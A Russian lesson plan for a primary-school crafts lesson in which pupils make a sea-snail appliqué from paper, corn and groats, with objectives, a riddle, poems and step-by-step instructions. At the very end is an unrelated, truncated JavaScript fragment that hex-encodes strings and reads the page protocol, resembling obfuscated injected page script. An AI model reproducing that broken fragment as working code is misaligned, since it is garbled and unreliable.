Тема : " Моллюск" - аппликация из бумаги и природных материалов.                                                                                Цели урока : совершенствование навыков техники аппликации, развивать способности к творчеству, воображению, фантазии; прививать навыки культуры, труда, товарищеской взаимопомощи; воспитывать устойчивые интересы к художественному труду.                                                                                                                        Тип урока : урок освоения новых знаний и способов действий.                                                             Универсальные учебные действия :                                                                                                  Регулятивные -                                                                                                                         1. Учиться работать по заданной инструкции;                                                                        2. Организовывать совё рабочее место;                                                                                 3. Вносить коррективы в свою работу.                                                                                     Познавательные -                                                                                                                      1. Различать материалы и инструменты по их назначению;                                                            2. Находить нужную информацию в учебнике.                                                                      3. Выявлять особенности оформления.                                                                              Коммуникативные -                                                                                                               1. Отвечать на вопросы, задавать вопросы при уточнении непонятного;                            2. Комментировать последовательность действий;                                                                                  3. Быть терпимыми к другим мнениям, учитывать их в совместной работе.                                  Планируемые результаты :                                                                                                    1.Предметные - понимать назначение и методы безопасного использования специальных ручных инструментов ( нож, ножницы, шило, игла), с соблюдением техники безопасности; использовать в работе шаблон, образец, рисунок.                  2. Личностные - адекватно воспринимать оценку своей работы учителем; уметь самостоятельно организовывать рабочее место и поддерживать порядок во время работы на нём.                                                                                                           3. Метапредметные - адекватно использовать речевые средства для решения различных коммуникативных задач, формировать умения договариваться и приходить к общему решению в совместной деятельности.                                                      4. Регулятивные - использовать изученные приёмы работы с различными материалами и инструментами. Понимать цель выполняемых действий.                                    5. Познавательные - конструировать объёмные изделия из  бумаги ; выявлять особенности выявления и обработки.                                                                                      Ресурсы : УМК Система Л. В. Занкова.                                                                                                    Дополнительные : клей, карандаш, ножницы,  трафареты, краски , цветной картон,  цветная бумага, кукуруза,  крупа,   презентация.                             

                                          Ход урока :

Этапы урока, виды работ

        Деятельность учителя

  Деятельность учащихся

УУД

I. Организационный этап                                1. Приветствие                        2. Проверка готовности рабочих мест                                            3. Повторение техники безопасности

- Приветствие.                                                - Проверьте, всё ли у вас готово к уроку ? На ваших столах должны лежать: цветная бумага, клей карандаш, ножницы, кукуруза , крупа, трафареты.                                  - Повторим технику безопасности.

- Приветствие.                         - Проверка готовности рабочих мест.                               - Повторение техники безопасности.    

Р3           К1

II. Постановка целей и задач урока                                           1. Мотивация учебной деятельности учащихся                          2. Раскрытие темы через загадку

-  Слайд 1.                                                - Сегодня на уроке мы будем делать аппликацию, а из чего вы узнаете угадав загадку :                                       - Под плотными листками, Жёлтые камни,                                                    Упругие, гладкие,                                   На вкус сладкие ?                                                   

- Кукуруза.

П1

III. Актуализация опорных знаний.                  1. Повторение понятия аппликация                                           

- Кто мне скажет, что такое аппликация ?                                                          

- Аппликация - это один из видов изобразительной техники, который основан на вырезании и наложении различных материалов на определённый фон.

П1             К1               П2

IV. Первичное усвоение новых знаний                              1. Рассказ учителя.                            2. Рассказ детей о поездке к морю.                           

- Слайд 2.                                                          - Родина кукурузы - америка. Индейцы - майя считали, что кукуруза божественный дар и прославляли её в песнях и легендах. У них даже был бог кукурузы Чинтеотль. Они готовили не только зёрна, но и суп из пыльцы, а стебли шли на строительство хижин. В н.в. только 30 %  идёт в пищу человека. Она очень питательна, в ней содержатся витамины А, В,С,Е. Кукурузу варят, сушат, консервируют, делают крахмал.                                                 - А сделаем мы с вами аппликацию морского моллюска. Кто был на море и собирал ракушки ? Некоторым удавалось найти большие, красивые раковины. Там жили рапаны. Рапаны - хищные брюхоногие моллюски. Длина раковины до 15 см. Питаются мелкими моллюсками : мидиями, устрицами и морскими гребешками.                                                  - Слайд 3.                       

- Слушают учителя.       - 1 ученик :                           На песке лежит ракушка                                             Перламутровое  ушко.    Я смеюсь, а море дышит.                                                  И она всё это слышит. - 2 ученик:                                              В прорезь раковины узкой                                                     Укрываются моллюски,                                     Под скорлупкой перламутра                                       Нет ни вечера, ни утра.                                     - Рассказ детей о поездке к морю.                                                           

К1                   П1                      П3

V. Динамическая пауза

- Море волнуется раз,                              Море волнуется два,                                Море волнуется три,                                       Морская фигура на месте замри.

- Замирают в различных морских позах.

 

VI. Организация самостоятельной работы                                             1. Пошаговая инструкция выполнения работы

  - С помощью шаблона выполняем рисунок рапана на цветной бумаге. Разрезаем на отдельные элементы, которые наклеиваем на картон синего, фиолетового или голубого цвета ( цвет морского дна ). Раковину рапана оклеиваем кукурузой по краям. Средину промазываем клеем и засыпаем крупой. Дорисуем симпатичную мордочку. Наша поделка готова.

- Выполнение работы.

К1                  П2          Р2

VII. Итог урока. Рефлексия.

- Давайте сделаем мини выставку из ваших работ на доске.                                              - Что вам понравилось на уроке ?                                                                       - Если понравился урок и вы его поняли ,то поднимите зелёную карточку, а если нет, то красную.

 

К3         П3

 

 

// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e